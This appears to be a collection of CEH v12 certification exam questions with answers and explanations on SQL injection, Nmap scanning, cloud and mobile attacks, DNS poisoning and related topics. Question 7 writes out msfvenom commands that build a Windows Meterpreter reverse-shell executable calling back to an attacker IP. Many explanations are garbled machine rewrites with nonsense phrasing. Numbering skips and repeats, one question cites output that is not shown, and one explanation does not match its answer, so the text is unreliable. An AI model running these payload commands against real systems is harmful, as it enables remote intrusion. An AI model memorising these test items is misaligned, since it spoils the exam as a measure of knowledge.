

# EC-Council

## Exam Questions 312-50v12

Certified Ethical Hacker Exam (CEHv12)



**NEW QUESTION 1**

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may Bypass authentication and allow attackers to access and/or modify data attached to a web application. Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

- A. Union-based SQLi
- B. Out-of-band SQLi
- C. In-band SQLi
- D. Time-based blind SQLi

**Answer: B**

**Explanation:**

Out-of-band SQL injection occurs when an attacker is unable to use an equivalent channel to launch the attack and gather results. ... Out-of-band SQLi techniques would believe the database server's ability to form DNS or HTTP requests to deliver data to an attacker. Out-of-band SQL injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.

Out-of-band techniques, offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack unreliable).

Out-of-band SQLi techniques would rely on the database server's ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server's xp\_dirtree command, which can be used to make DNS requests to a server an attacker controls; as well as Oracle Database's UTL\_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls.

**NEW QUESTION 2**

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network. Which of the following host discovery techniques must he use to perform the given task?

- A. UDP scan
- B. TCP Maimon scan
- C. arp ping scan
- D. ACK flag probe scan

**Answer: C**

**Explanation:**

One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC 1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series of ARP requests.

This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host.

The `--send-ip` option tells Nmap to send IP-level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and their timing have been pasted into the session. Raw IP ping scan example for offline targets

This example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second intervals before abandoning the host. Waiting for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this timeout period is not a priority for OS vendors, as the overwhelming majority of packets are sent to the host that actually exists. Nmap, on the other hand, needs to send packets to 16 million IP s given a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds each is very delayed.

There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive when full. If Nmap is used in rawIP mode (`--send-ip`), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery. ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP. Example b ARP ping scan of offline target

In example b, neither the `-PR` option nor the `--send-eth` option has any effect. This is often because ARP has a default scan type on the Area Ethernet network when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and communicate over the network. Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as `-PE` and `-PS`) are specified. LAN.. If you do not need to attempt an ARP scan at all, specify `--send-ip` as shown in Example a "Raw IP Ping Scan for Offline Targets". If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the `--spoof-mac` option to spoof the MAC address as described in the MAC Address Spoofing section.

**NEW QUESTION 3**

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the targets MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in the above scenario?

- A. Cloud hopper attack
- B. Cloud cryptojacking
- C. Cloudborne attack
- D. Man-in-the-cloud (MITC) attack

**Answer: A**

**Explanation:**

Operation Cloud Hopper was an in depth attack and theft of data in 2017 directed at MSP within the uk (U.K.), us (U.S.), Japan, Canada, Brazil, France, Switzerland, Norway, Finland, Sweden, South Africa , India, Thailand, South Korea and Australia. The group used MSP as intermediaries to accumulate assets and trade secrets from MSP client engineering, MSP industrial manufacturing, retail, energy, pharmaceuticals, telecommunications, and government agencies. Operation Cloud Hopper used over 70 variants of backdoors, malware and trojans. These were delivered through spear-phishing emails. The attacks scheduled

tasks or leveraged services/utilities to continue Microsoft Windows systems albeit the pc system was rebooted. It installed malware and hacking tools to access systems and steal data.

**NEW QUESTION 4**

joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider, in the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

- A. Cloud booker
- B. Cloud consumer
- C. Cloud carrier
- D. Cloud auditor

**Answer:** C

**Explanation:**

A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.

Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc.

The distribution of cloud services is often provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business organization that provides physical transport of storage media like high- capacity hard drives.

Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.

**NEW QUESTION 5**

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes. Images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?

- A. Docker client
- B. Docker objects
- C. Docker daemon
- D. Docker registries

**Answer:** C

**Explanation:**

Docker uses a client-server design. The docker client talks to the docker daemon, that will the work of building, running, and distributing your docker containers.

The docker client and daemon will run on the same system, otherwise you will connect a docker consumer to a remote docker daemon. The docker consumer and daemon communicate using a REST API, over OS sockets or a network interface.

The docker daemon (dockerd) listens for docker API requests and manages docker objects like pictures, containers, networks, and volumes. A daemon may communicate with other daemons to manage docker services.

**NEW QUESTION 6**

Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone.

Which of the following attacks is performed by Clark in above scenario?

- A. IOS trustjacking
- B. IOS Jailbreaking
- C. Exploiting SS7 vulnerability
- D. Man-in-the-disk attack

**Answer:** A

**Explanation:**

An iPhone client's most noticeably terrible bad dream is to have somebody oversee his/her gadget, including the capacity to record and control all action without waiting be in a similar room. In this blog entry, we present another weakness called "Trustjacking", which permits an aggressor to do precisely that.

This weakness misuses an iOS highlight called iTunes Wi-Fi sync, which permits a client to deal with their iOS gadget without genuinely interfacing it to their PC. A solitary tap by the iOS gadget proprietor when the two are associated with a similar organization permits an assailant to oversee the gadget. Furthermore, we will stroll through past related weaknesses and show the progressions that iPhone has made to alleviate them, and why these are adequately not to forestall comparative assaults.

After interfacing an iOS gadget to another PC, the clients are being found out if they trust the associated PC or not. Deciding to believe the PC permits it to speak with the iOS gadget by means of the standard iTunes APIs.

This permits the PC to get to the photographs on the gadget, perform reinforcement, introduce applications and considerably more, without requiring another affirmation from the client and with no recognizable sign. Besides, this permits enacting the "iTunes Wi-Fi sync" highlight, which makes it conceivable to proceed with this sort of correspondence with the gadget even after it has been detached from the PC, as long as the PC and the iOS gadget are associated with a similar organization. It is intriguing to take note of that empowering "iTunes Wi-Fi sync" doesn't need the casualty's endorsement and can be directed simply from the PC side.

Getting a live stream of the gadget's screen should be possible effectively by consistently requesting screen captures and showing or recording them distantly.

It is imperative to take note of that other than the underlying single purpose of disappointment, approving the vindictive PC, there is no other component that forestalls this proceeded with access. Likewise, there isn't anything that informs the clients that by approving the PC they permit admittance to their gadget even in the wake of detaching the USB link.

**NEW QUESTION 7**

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

- A. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- B. msfvenom -p windows/meterpreter/reverse\_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- C. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- D. msfvenom -p windows/meterpreter/reverse\_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

**Answer:** C

**Explanation:**

<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom> Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

**NEW QUESTION 8**

which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

- A. intrusion detection system
- B. Honeypot
- C. BotnetD Firewall

**Answer:** B

**Explanation:**

A honeypot may be a trap that an IT pro lays for a malicious hacker, hoping that they will interact with it during a way that gives useful intelligence. It's one among the oldest security measures in IT, but beware: luring hackers onto your network, even on an isolated system, are often a dangerous game. honeypot may be a good starting place: "A honeypot may be a computer or computing system intended to mimic likely targets of cyberattacks." Often a honeypot are going to be deliberately configured with known vulnerabilities in situation to form a more tempting or obvious target for attackers. A honeypot won't contain production data or participate in legitimate traffic on your network — that's how you'll tell anything happening within it's a results of an attack. If someone's stopping by, they're up to no good.

That definition covers a various array of systems, from bare-bones virtual machines that only offer a couple of vulnerable systems to ornately constructed fake networks spanning multiple servers. and therefore the goals of these who build honeypots can vary widely also , starting from defense thorough to academic research. additionally , there's now an entire marketing category of deception technology that, while not meeting the strict definition of a honeypot, is certainly within the same family. But we'll get thereto during a moment. honeypots aim to permit close analysis of how hackers do their dirty work. The team controlling the honeypot can watch the techniques hackers use to infiltrate systems, escalate privileges, and otherwise run amok through target networks. These sorts of honeypots are found out by security companies, academics, and government agencies looking to look at the threat landscape. Their creators could also be curious about learning what kind of attacks are out there, getting details on how specific sorts of attacks work, or maybe trying to lure a specific hackers within the hopes of tracing the attack back to its source. These systems are often inbuilt fully isolated lab environments, which ensures that any breaches don't end in non-honeypot machines falling prey to attacks.

Production honeypots, on the opposite hand, are usually deployed in proximity to some organization's production infrastructure, though measures are taken to isolate it the maximum amount as possible. These honeypots often serve both as bait to distract hackers who could also be trying to interrupt into that organization's network, keeping them faraway from valuable data or services; they will also function a canary within the coalpit , indicating that attacks are underway and are a minimum of partially succeeding.

**NEW QUESTION 9**

Consider the following Nmap output:

what command-line parameter could you use to determine the type and version number of the web server?

- A. -sv
- B. -Pn
- C. -V
- D. -ss

**Answer:** A

**Explanation:**

C:\Users\moi>nmap -h | findstr " -sV" -sV: Probe open ports to determine service/version info

**NEW QUESTION 10**

what are common files on a web server that can be misconfigured and provide useful Information for a hacker such as verbose error messages?

- A. httpd.conf
- B. administration.config
- C. idq.dll
- D. php.ini

**Answer:** D

**Explanation:**

The php.ini file may be a special file for PHP. it's where you declare changes to your PHP settings. The server is already configured with standard settings for PHP, which your site will use by default.

Unless you would like to vary one or more settings, there's no got to create or modify a php.ini file. If you'd wish to make any changes to settings, please do so through the MultiPHP INI Editor.

**NEW QUESTION 10**



You are a penetration tester working to test the user awareness of the employees of the client xyz.

You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

- A. Reconnaissance
- B. Command and control
- C. Weaponization
- D. Exploitation

**Answer: C**

**Explanation:**

Weaponization

The adversary analyzes the data collected in the previous stage to identify the vulnerabilities and techniques that can exploit and gain unauthorized access to the target organization. Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices, or even individuals within the organization to carry out their attack. For example, the adversary may send a phishing email to an employee of the target organization, which may include a malicious attachment such as a virus or worm that, when downloaded, installs a backdoor on the system that allows remote access to the adversary. The following are the activities of the adversary:

- o Identifying appropriate malware payload based on the analysis
- o Creating a new malware payload or selecting, reusing, modifying the available malware payloads based on the identified vulnerability
- o Creating a phishing email campaign
- o Leveraging exploit kits and botnets

[https://en.wikipedia.org/wiki/Kill\\_chain](https://en.wikipedia.org/wiki/Kill_chain) The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery, exploitation, installation, command and control, and finally, actions on objectives. Below you can find detailed information on each.

\* 1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct indepth research on this target to identify its vulnerabilities that can be exploited.

\* 2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of different vulnerabilities.

\* 3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for this purpose.

\* 4. Exploitation: In this step, the malware starts the action. The program code of the malware is triggered to exploit the target's vulnerability/vulnerabilities.

\* 5. Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.

\* 6. Command and Control: The malware gives the intruder/attacker access to the network/system.

\* 7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data exfiltration, or even data destruction.

**NEW QUESTION 12**

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker Installed a scanner on a machine belonging to one of the vktims and scanned several machines on the same network to Identify vulnerabilities to perform further exploitation. What is the type of vulnerability assessment tool employed by John in the above scenario?

- A. Proxy scanner
- B. Agent-based scanner
- C. Network-based scanner
- D. Cluster scanner

**Answer: C**

**Explanation:**

Network-based scanner

A network-based vulnerability scanner, in simplistic terms, is the process of identifying loopholes on a computer's network or IT assets, which hackers and threat actors can exploit. By implementing this process, one can successfully identify their organization's current risk(s). This is not where the buck stops; one can also verify the effectiveness of your system's security measures while improving internal and external defenses. Through this review, an organization is well equipped to take an extensive inventory of all systems, including operating systems, installed software, security patches, hardware, firewalls, anti-virus software, and much more.

Agent-based scanner

Agent-based scanners make use of software scanners on each and every device; the results of the scans are reported back to the central server. Such scanners are well equipped to find and report out on a range of vulnerabilities. NOTE: This option is not suitable for us, since for it to work, you need to install a special agent on each computer before you start collecting data from them.

**NEW QUESTION 13**

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution Is for a customer to Join with a group of users or organizations to share a cloud environment. What is this cloud deployment option called?

- A. Hybrid
- B. Community
- C. Public
- D. Private

**Answer: B**

**Explanation:**

The purpose of this idea is to permit multiple customers to figure on joint projects and applications that belong to the community, where it's necessary to possess a centralized clouds infrastructure. In other words, Community Cloud may be a distributed infrastructure that solves the precise problems with business sectors by integrating the services provided by differing types of clouds solutions.

The communities involved in these projects, like tenders, business organizations, and research companies, specialise in similar issues in their cloud interactions. Their shared interests may include concepts and policies associated with security and compliance considerations, and therefore the goals of the project also .

Community Cloud computing facilitates its users to spot and analyze their business demands better.

Community Clouds could also be hosted during a data center, owned by one among the tenants, or by a third-party cloud services provider and may be either on-site or off-site. Community Cloud Examples and Use Cases

Cloud providers have developed Community Cloud offerings, and a few organizations are already seeing the advantages . the subsequent list shows a number of

the most scenarios of the Community Cloud model that's beneficial to the participating organizations.

Multiple governmental departments that perform transactions with each other can have their processing systems on shared infrastructure. This setup makes it cost-effective to the tenants, and may also reduce their data traffic. Benefits of Community Clouds

Community Cloud provides benefits to organizations within the community, individually also as collectively. Organizations don't need to worry about the safety concerns linked with Public Cloud due to the closed user group. This recent cloud computing model has great potential for businesses seeking cost-effective cloud services to collaborate on joint projects, because it comes with multiple advantages.

Openness and Impartiality

Community Clouds are open systems, and that they remove the dependency organizations wear cloud service providers. Organizations are able to do many benefits while avoiding the disadvantages of both public and personal clouds. Flexibility and Scalability

Ensures compatibility among each of its users, allowing them to switch properties consistent with their individual use cases. They also enable companies to interact with their remote employees and support the utilization of various devices, be it a smartphone or a tablet. This makes this sort of cloud solution more flexible to users' demands.

Consists of a community of users and, as such, is scalable in several aspects like hardware resources, services, and manpower. It takes under consideration demand growth, and you simply need to increase the user-base. High Availability and Reliability

Your cloud service must be ready to make sure the availability of knowledge and applications in the least times. Community Clouds secure your data within the same way as the other cloud service, by replicating data and applications in multiple secure locations to guard them from unforeseen circumstances.

Cloud possesses redundant infrastructure to form sure data is out there whenever and wherever you would like it. High availability and reliability are critical concerns for any sort of cloud solution. Security and Compliance

Two significant concerns discussed when organizations believe cloud computing are data security and compliance with relevant regulatory authorities.

Compromising each other's data security isn't profitable to anyone during a Community Cloud.

Users can configure various levels of security for his or her data. Common use cases: the power to dam users from editing and downloading specific datasets.

Making sensitive data subject to strict regulations on who has access to Sharing sensitive data unique to a specific organization would bring harm to all or any the members involved.

What devices can store sensitive data. Convenience and Control

Conflicts associated with convenience and control don't arise during a Community Cloud. Democracy may be a crucial factor the Community Cloud offers as all tenants share and own the infrastructure and make decisions collaboratively. This setup allows organizations to possess their data closer to them while avoiding the complexities of a personal Cloud.

Less Work for the IT Department

Having data, applications, and systems within the cloud means you are doing not need to manage them entirely. This convenience eliminates the necessity for tenants to use extra human resources to manage the system. Even during a self-managed solution, the work is split among the participating organizations.

Environment Sustainability

In the Community Cloud, organizations use one platform for all their needs, which dissuades them from investing in separate cloud facilities. This shift introduces a symbiotic relationship between broadening and shrinking the utilization of cloud among clients. With the reduction of organizations using different clouds, resources are used more efficiently, thus resulting in a smaller carbon footprint.

#### NEW QUESTION 18

Bob was recently hired by a medical company after it experienced a major cyber security breach.

Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search.

Bob's boss is very worried because of regulations that protect those data. Which of the following regulations is mostly violated?

- A. HIPPA/PHI
- B. PII
- C. PCIDSS
- D. ISO 2002

**Answer: A**

#### Explanation:

PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that's used, maintained, stored, or transmitted by a HIPAA-covered entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.

It is not only past and current medical info that's considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info. Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver's license numbers, insurance details, and birth dates, once they square measure connected with health info.

The eighteen identifiers that create health info letter are: Names

Dates, except year phonephone numbers Geographic information FAX numbers

Social Security numbers Email addresses

case history numbers Account numbers

Health arrange beneficiary numbers Certificate/license numbers

Vehicle identifiers and serial numbers together with license plates Web URLs

Device identifiers and serial numbers net protocol addresses

Full face photos and comparable pictures Biometric identifiers (i.e. retinal scan, fingerprints) Any distinctive identifying variety or code

One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data.

HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA

Security Rule.

#### NEW QUESTION 19

Which file is a rich target to discover the structure of a website during web-server footprinting?

- A. Document root
- B. Robots.txt
- C. domain.txt
- D. index.html

**Answer: B**

**NEW QUESTION 20**

Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original IP address of the target website to that of a fake website. What is the technique employed by Steve to gather information for identity theft?

- A. Pretexting
- B. Pharming
- C. Wardriving
- D. Skimming

**Answer: B**

**Explanation:**

A pharming attacker tries to send a web site's traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment card data.

Though they share similar goals, pharming uses a special technique from phishing. "Pharming attacker are targeted on manipulating a system, instead of tricking people into reaching to a dangerous web site," explains David Emm, principal security man of science at Kaspersky. "When either a phishing or pharming attacker is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken are completely different."

**NEW QUESTION 21**

what firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

- A. Decoy scanning
- B. Packet fragmentation scanning
- C. Spoof source address scanning
- D. Idle scanning

**Answer: D**

**Explanation:**

The idle scan could be a communications protocol port scan technique that consists of causing spoofed packets to a pc to seek out out what services square measure obtainable. this can be accomplished by impersonating another pc whose network traffic is extremely slow or nonexistent (that is, not transmission or receiving information). this might be associate idle pc, known as a "zombie".

This action are often done through common code network utilities like nmap and hping. The attack involves causing solid packets to a particular machine target in an attempt to seek out distinct characteristics of another zombie machine. The attack is refined as a result of there's no interaction between the offender pc and also the target: the offender interacts solely with the "zombie" pc.

This exploit functions with 2 functions, as a port scanner and a clerk of sure informatics relationships between machines. The target system interacts with the "zombie" pc and distinction in behavior are often discovered mistreatment totally different|completely different "zombies" with proof of various privileges granted by the target to different computers.

The overall intention behind the idle scan is to "check the port standing whereas remaining utterly invisible to the targeted host." The first step in execution associate idle scan is to seek out associate applicable zombie. It must assign informatics ID packets incrementally on a worldwide (rather than per-host it communicates with) basis. It ought to be idle (hence the scan name), as extraneous traffic can raise its informatics ID sequence, confusing the scan logic. The lower the latency between the offender and also the zombie, and between the zombie and also the target, the quicker the scan can proceed.

Note that once a port is open, IPIDs increment by a pair of. Following is that the sequence: offender to focus on -> SYN, target to zombie ->SYN/ACK, Zombie to focus on -> RST (IPID increment by 1) currently offender tries to probe zombie for result. offender to Zombie ->SYN/ACK, Zombie to offender -> RST (IPID increment by 1) So, during this method IPID increments by a pair of finally.

When associate idle scan is tried, tools (for example nmap) tests the projected zombie and reports any issues with it. If one does not work, attempt another.

Enough net hosts square measure vulnerable that zombie candidates are not exhausting to seek out. a standard approach is to easily execute a ping sweep of some network. selecting a network close to your supply address, or close to the target, produces higher results. you'll be able to attempt associate idle scan mistreatment every obtainable host from the ping sweep results till you discover one that works. As usual, it's best to raise permission before mistreatment someone's machines for surprising functions like idle scanning.

Simple network devices typically create nice zombies as a result of {they square measure|they're} normally each underused (idle) and designed with straightforward network stacks that are susceptible to informatics ID traffic detection. While distinguishing an acceptable zombie takes some initial work, you'll be able to keep re-using the nice ones. as an alternative, there are some analysis on utilizing unplanned public internet services as zombie hosts to perform similar idle scans. leverage the approach a number of these services perform departing connections upon user submissions will function some quite poor's man idle scanning.

**NEW QUESTION 26**

What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

- A. The attacker queries a nameserver using the DNS resolver.
- B. The attacker makes a request to the DNS resolver.
- C. The attacker forges a reply from the DNS resolver.
- D. The attacker uses TCP to poison the DNS resolver.

**Answer: B**

**Explanation:**

[https://ru.wikipedia.org/wiki/DNS\\_spoofing](https://ru.wikipedia.org/wiki/DNS_spoofing)

DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic.

Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored on your server or computer.

The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as well.

Different Stages of Attack of DNS Cache Poisoning:

- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.
- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the



attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their chance of success.

- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the malicious website.

#### NEW QUESTION 29

in an attempt to increase the security of your network, you implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it. How do you accomplish this?

- A. Delete the wireless network
- B. Remove all passwords
- C. Lock all users
- D. Disable SSID broadcasting

**Answer:** D

#### Explanation:

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router's settings.

Disabling SSID broadcast will make your Wi-Fi network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.

With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-Fi password to your guests is no longer enough.

They have to configure their settings manually by including the network name, security mode, and other relevant info.

Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:

- Disabling SSID broadcast will not hide your network completely

Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.

- Third-party software can easily trace a hidden network

Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.

- You might attract unwanted attention.

Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

#### NEW QUESTION 33

what is the port to block first in case you are suspicious that an IoT device has been compromised?

- A. 22
- B. 443
- C. 48101
- D. 80

**Answer:** C

#### Explanation:

TCP port 48101 uses the Transmission Management Protocol. Transmission Control Protocol is one in all the most protocols in TCP/IP networks. Transmission Control Protocol could be a connection-oriented protocol, it needs acknowledgement to line up end-to-end communications. Only an association is about up user's knowledge may be sent bi-directionally over the association.

Attention! Transmission Control Protocol guarantees delivery of knowledge packets on port 48101 within the same order during which they were sent. Bonded communication over Transmission Control Protocol port 48101 is that the main distinction between Transmission Control Protocol and UDP. UDP port 48101 wouldn't have bonded communication as Transmission Control Protocol.

UDP on port 48101 provides Associate in Nursing unreliable service and datagrams might arrive duplicated, out of order, or missing unexpectedly. UDP on port 48101 thinks that error checking and correction isn't necessary or performed within the application, avoiding the overhead of such process at the network interface level.

UDP (User Datagram Protocol) could be a borderline message-oriented Transport Layer protocol (protocol is documented in IETF RFC 768).

Application examples that always use UDP: vocalisation IP (VoIP), streaming media and period multiplayer games. Several internet applications use UDP, e.g. the name System (DNS), the Routing Info Protocol (RIP), the Dynamic Host Configuration Protocol (DHCP), the straightforward Network Management Protocol (SNMP).

#### NEW QUESTION 35

Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability assessment that Morris performed on the target organization?

- A. internal assessment
- B. Passive assessment
- C. External assessment
- D. Credentialed assessment

**Answer:** B

#### Explanation:

Passive Assessment Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities. Passive assessments also provide a list of the users who are currently accessing the network.

#### NEW QUESTION 38

Larry, a security professional in an organization, has noticed some abnormalities in the user accounts on a web server. To thwart evolving attacks, he decided to



harden the security of the web server by adopting a countermeasures to secure the accounts on the web server.  
Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

- A. Enable unused default user accounts created during the installation of an OS
- B. Enable all non-interactive accounts that should exist but do not require interactive login
- C. Limit the administrator or root-level access to the minimum number of users
- D. Retain all unused modules and application extensions

**Answer:** C

#### NEW QUESTION 39

Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates.  
Which of the following protocols is used by Bella?

- A. FTP
- B. HTTPS
- C. FTPS
- D. IP

**Answer:** C

#### Explanation:

The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization. FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server.[1] FTP clients may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).

The primary FTP customer applications were order line programs created prior to working frameworks had graphical UIs, are as yet dispatched with most Windows, Unix, and Linux working systems.[2][3] Many FTP customers and mechanization utilities have since been created for working areas, workers, cell phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.

#### NEW QUESTION 44

Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

- A. Bluesmacking
- B. Bluebugging
- C. Bluejacking
- D. Bluesnarfing

**Answer:** D

#### Explanation:

